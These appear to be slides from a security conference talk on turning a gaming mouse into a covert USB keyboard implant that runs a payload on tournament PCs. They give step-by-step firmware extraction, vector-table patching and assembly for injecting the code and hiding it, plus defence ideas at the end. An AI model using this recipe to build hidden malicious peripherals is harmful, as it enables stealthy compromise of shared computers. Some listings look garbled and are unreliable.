If You Give A Mouse A Microchip

It will execute a payload
and cheat at your high-stakes video game tournament

Mark Williams (skud) and Rob Stanley (Sky)
Competitive Gaming

- 1958 - ‘first’ video game
- 1972 - first recorded, sponsored video game tournament
  - Spacewar! - build in 1960s
  - Rolling Stone sponsored a Spacewar! Olympics in ‘72
Esports
The International 2016

- Teams from all over the world
- 20 million dollar prize pool (19 million crowd funded)
- 17,000 people watching at the venue
- Over 20 million people watching online
Security Challenges at Esports Events

- Massive temporary networks
- Hot-seat computers
- Internet connectivity
- Support player-owned peripherals
Computers at events typically close these attack vectors:

- Internet access restricted
- Player accounts don’t have admin
- Drivers / configs pre-installed
- USB Mass Storage disabled
- Extra USB ports disabled

But you can plug your own mouse and keyboard into the PC!
Why Hack with a Mouse?

- Found a mouse with an ‘overpowered’ microcontroller
- Not enough scrutiny over devices at esports tournaments
Gaming Mouse

- **STMicro STM32F103CB Microcontroller**
  - ARM Cortex M3 microprocessor
  - Supports ST-Link programming interface
- **128KB Flash Memory**
  - Stores user profiles onboard - save your dpi settings!
- **Lots of buttons**
- **RGB LEDs**
- **LCD screen**
  - User customizable bitmaps
1. Connect to microcontroller built into the mouse.
2. Insert code to act as USB Keyboard.
3. Send keystrokes to execute payload on target computer.
4. “Unplug” the keyboard app, run original mouse code.
5. ???
6. Profit

Responsible disclosure

Without obvious physical modifications to the mouse
Frequently Asked Question:

“Wait, isn’t that just a Rubber Ducky in a mouse?”
STMicro STM32F4 Discovery Development board

- Has an onboard ARM Cortex M4 for initial dev
- Has an external programming interface to program mouse

Mouse with a ARM cortex processor

Soldering Iron

Wires
<table>
<thead>
<tr>
<th>Software Tools (all free!)</th>
</tr>
</thead>
<tbody>
<tr>
<td>• STM32 ST-Link Utility</td>
</tr>
<tr>
<td>• System Workbench for STM32</td>
</tr>
<tr>
<td>• STM32CubeMX</td>
</tr>
<tr>
<td>• objdump (for ARM)</td>
</tr>
</tbody>
</table>

* not affiliated with stmicro
There’s the microcontroller!

We need to talk to it somehow...
We need to connect to the chip to program it.

Don't have access to the chip via USB.

RTFM!

ST-Link interface uses pins:

- PA13 (JTCK / SWCLK / PA14)
- PA14 (JTMS / SWDIO / PA13)
- GND
I tried to solder directly to the processor’s pins...

With an aging soldering iron
Then I flipped the board over and found these convenient solder pads for GND, TCK, and TMS. The exact pins I need to flash the processor!

Don’t be dumb
Much better!
Remove CN2 jumpers to disconnect ST-Link from the Discovery Board’s onboard processor

ST-Link → Target
SWD pin 2 → TCK
SWD pin 3 → GND
SWD pin 4 → TMS

STM32F4 Discovery schematic
Discovery Board

ST-Link connection jumper
We’re connected!

CN2 Jumpers disconnected for external programming
Hold boot0 pin high during power-on to enter programmable mode

From our pin diagram, we know boot0 is pin 5

**Very carefully** apply 3 volts to boot0 pin and plug the mouse in
ST-Link is connected!

If we want the mouse to keep working, we should save what is currently on it.
We’re in!

TODO:

1. Extract original mouse binary
2. Build application that registers as a keyboard
3. Find empty space in mouse’s binary and insert our application
When connected:

1. Open notepad
2. Automatically type an encoded powershell script
   a. Decompresses self
   b. Forks and executes in background
   c. Deletes itself after forking
3. Save to %temp%/hack.bat
4. Close notepad
5. Run %temp%/hack.bat
Where do we put our code?

Objdump binary extracted from mouse
Flash memory starts at 0x08000000, dump the binary relative to this address:
```bash
objdump -b binary -marm --adjust-vma=0x08000000 -D -C -Mforce-thumb sensei.bin > sensei.txt
```

80109ae:    2000    movs    r0, #0
80109b0:    171c    asrs    r4, r3, #28
80109b2:    0000    movs    r0, r0
80109b4:    e394    b.n     0x80110e0
80109b6:    0800    lsrs    r0, r0, #32
...
8016800:    5300    strh    r0, [r0, r4]
8016802:    756b    strb    r3, [r5, #21]
8016804:    2064    movs    r0, #100    ; 0x64

Looks like we have plenty of space from 0x080109b6 to 0x08016800
We’ll put our application at 0x08010a00 (so it is on a 2k boundary)
The default linker for the STMicro projects links to memory location 0x08000000

But our app is being placed at location 0x08010a00

Need to edit 2 files to appropriately link to this **non-default** location

STM32F103CBTxC_FLASH.ld
system_stm32f1xx.c
/* Highest address of the user mode stack */
_estack = 0x20005000;
/* was 0x20000a70 in sensei.bin - our code wants more stack */

/* Specify the memory areas */
MEMORY
{
  RAM (xrw) : ORIGIN = 0x20000000, LENGTH = 14K
  FLASH (rx) : ORIGIN = 0x08010a00, LENGTH = 14K
}
/*!< Vector Table base offset field. This value must be a multiple of 0x200 */

#define VECT_TAB_OFFSET 0x08010a00

Now we know where we are!
How do we execute our inserted code?

By patching the vector table, of course!
Address 0x08000000 contains the vector table

- Address 0x08000000
  - Location of Stack Pointer in Ram
- Address 0x08000004
  - Location of Entry Point in Flash

At boot, bootloader sets stack pointer, then branches to the address at offset 0x04

Replace the value at 0x04 the mem addr of our code’s entry point!

Disassembly of section .data:

08000000 <.data>:
  8000000: 20000a70
  8000004: 08000141
  8000008: 0800157f
  800000c: 08000d65
  8000010: 0800157d
  8000014: 0800024d
  8000018: 08002c7f

Documentation states that bit[0] of an address must be 1 or the branch command will fault

A 1 in bit[0] tells the processor to execute in thumb mode
Need to know where the entry point of our code is.

```
objdump -b binary -marm --adjust-vma=0x08010a00 -D -C -Mforce-thumb injection.bin > injection.txt
```

Disassembly of section .data:

```
08010a00 <.data>:
  08010a00:  5000      str    r0, [r0, r0]
  08010a02:  2000      movs    r0, #0
  08010a04:  3625      ; <UNDEFINED> instruction: 0xb6d1
  08010a06:  0801      lsrs    r1, r0, #32
```

Our app’s entry point is at **0x08013625**
Update the values at 0x00 and 0x04 in the mouse’s binary file
<table>
<thead>
<tr>
<th>Address</th>
<th>0</th>
<th>4</th>
<th>8</th>
<th>C</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td></td>
<td></td>
<td></td>
<td>2000A70</td>
<td></td>
</tr>
<tr>
<td>0x00000010</td>
<td>08000141</td>
<td></td>
<td>08001583</td>
<td>08000D65</td>
<td>p... A... f... e...</td>
</tr>
<tr>
<td>0x00000020</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>08001581</td>
<td>0800024B</td>
<td>08002CAF</td>
<td>00000000</td>
<td>...M... ,......</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>080020AD</td>
<td></td>
</tr>
</tbody>
</table>
### New Vector Table

**Memory display**
- **Address:** 0x08000000
- **Size:**
- **Data Width:** 32 bits

**Device Memory**
- **Device Memory**
- **sensei_2_allints_injected.bin**
- **File size:** 131071 Bytes

<table>
<thead>
<tr>
<th>Address</th>
<th>0</th>
<th>4</th>
<th>8</th>
<th>C</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000</td>
<td>20005000</td>
<td>08013625</td>
<td>08001583</td>
<td>08000D65</td>
<td>.P. %6...f...e...</td>
</tr>
<tr>
<td>0x00000010</td>
<td>08001581</td>
<td>0800024D</td>
<td>08002CAF</td>
<td>00000000</td>
<td>...M... ,......</td>
</tr>
<tr>
<td>0x00000020</td>
<td>00000000</td>
<td>00000000</td>
<td>00000000</td>
<td>080020AD</td>
<td>....................</td>
</tr>
</tbody>
</table>
Using your hex editor of choice:

Navigate to offset \texttt{0x00010a00}

Paste the entire hex dump from the hack.bin file into the mouse\_hack.bin file at this offset
The mouse should now run our injected application

But it won’t do anything else

Now we need to make it return to the original functionality
Write a bunch of assembly and store it at the end of the main() function.

This code will be executed out of order via branch instructions.

```assembly
// Execute hacking keyboard
ExecInjection();

// Wait a bit more
HAL_Delay(1000);

// "Sneaky" self
MX_USB_DEVICE_STOP();

// Wait a bit more
HAL_Delay(1000);

// Adjust -b binary --adjust-mpa-0x8018c00 -D -C -lmicrothumb Injection.bin > Injection.txt

asm("ADD r0, STACK_PTR"); // load saved stack pointer into r0
asm("MOV r0, r0"); // set stack pointer with value in r0
asm("MOV r0, r9"); // set the program stack pointer from the value saved in r0
asm("LDR r0, SS_STACK_SIZE"); // load desired stack size into r0
asm("MOV r0, r0"); // set stack pointer with value in r0
asm("LDR r0, ALL_F"); // set link register to default value 0xffffffff
asm("LDR r0, JUMPTOMOUSE"); // load r0 with address of mouse entry point
asm("BX r0"); // branch to original mouse code

// END OF PROGRAM

// ENTRY POINT OF PROGRAM: 0013158
asm("LDR r0, PSF"); // store program stack pointer in r0
asm("BX r0"); // push all registers that may have been initialized by mouse's bootloader
asm("LDR r0, INJECTED_HID"); // load r0 with entry point of our injected application
asm("BX r0"); // branch to injected application

// DATA
asm("JUMPTOMOUSE"); // word 0x080011a1; // entry point of original mouse code
asm("INJECTED_HID"); // word 0x0801a265; // entry point of this code
asm("STACK_PTR"); // word 0x020004fd9; // the stack pointer address AFTER pushing registers to stack
asm("SS_STACK_SIZE"); // word 0x320005000; // stack pointer location for entry into mouse code
asm("ALL_F"); // word 0xffffffff; // default value of link register at boot
asm("FEEDBACK"); // word 0xfffeedback; // this makes it easy to find our assembly
```
Program Flow

Vector table

Mouse entry

Mouse

Hack main()

Hack end

Hack entry

1

2

3

4

5
// ENTRY POINT OF PROGRAM
asm("mrs r0, PSP");            // store program stack pointer in r0
asm("push {r0-r9}" );         // push all registers that may have been
                                // initialized by mouse's bootloader

asm("ldr r0, HACK_ENTRY");    // load r0 with entry point of our inserted
                                // application

asm("bx r0");                // branch to the hack
asm("ldr r0, STACK_PTR"); // load saved stack pointer into r0
asm("msr MSP, r0"); // set stack pointer with value in r0
asm("pop {r0-r9}"); // restore registers we pushed onto stack
asm("msr PSP, r0"); // set the program stack pointer
asm("ldr r0, STACK_SIZE"); // load desired stack size into r0
asm("msr MSP, r0"); // set stack pointer with value in r0
asm("ldr lr, ALL_F"); // set link register to default value 0xffffffff
asm("ldr r0, MOUSE_ENTRY"); // load r0 with address of mouse entry point
asm("bx r0"); // Branch to original mouse code
// ENDS OUR PROGRAM
Storing Data in Assembly

// DATA
asm("MOUSE_ENTRY:    .word 0x08000141"); // entry point of original mouse code
asm("HACK_ENTRY:     .word 0x08013625"); // entry point of this code
asm("STACK_PTR:      .word 0x20004fd8"); // the stack pointer address AFTER
    // pushing registers to stack
asm("STACK_SIZE:     .word 0x20005000"); // stack pointer location for entry
    // into mouse code
asm("ALL_F:          .word 0xffffffff"); // default value of link register
asm("FEEDBEEF:       .word 0xfeedbeef"); // breadcrumbs
Found The Beef!
Inserted code can have unintended side effects.
Mouse code shipped with debugging disabled (hooray!)

Debugging requires interrupts

My code can debug...
ARM Interrupts: Change Processor State

- CPS IE - enable interrupts
- CPS ID - disable interrupts
- Flags:
  - i - PRIMASK (configurable handlers)
  - f - FAULTMASK (all handlers)
- Find CPSID in objdump output
  - 0xB672

- Replace with no-op
  - 0x0000

- Cross fingers!

```
800018c:  f380 8808    msr    MSP, r0
8000190:  4770
8000192:  b662      cpsie   i
8000194:  4770    bx      lr
8000196:  b672      cpsid   i
8000198:  4770    bx      lr
```
Demonstration
Can we defend against extra code in a device?

- Have application check reset vector at boot
  - App can re-write reset vector after booting

- Application has hash of entire flash
  - Can’t store user modifications then?
  - What if the injected code changes the hash value?
  - What if injected code clears the flash it resides in after executing?
Can we defend against this payload style?

- Only allow ‘normal’ behavior from HID peripherals
- Sign and verify drivers and flash of every peripheral (probably not)
- Whitelist EXEs
- Force everyone to use USB → PS2 adapters (nope)
- Provide trusted hardware
References and helpful links

- Source Code & Examples - https://bitbucket.org/mdhomebrew/
- OpenSTM IDE - http://www.openstm32.org/
Questions?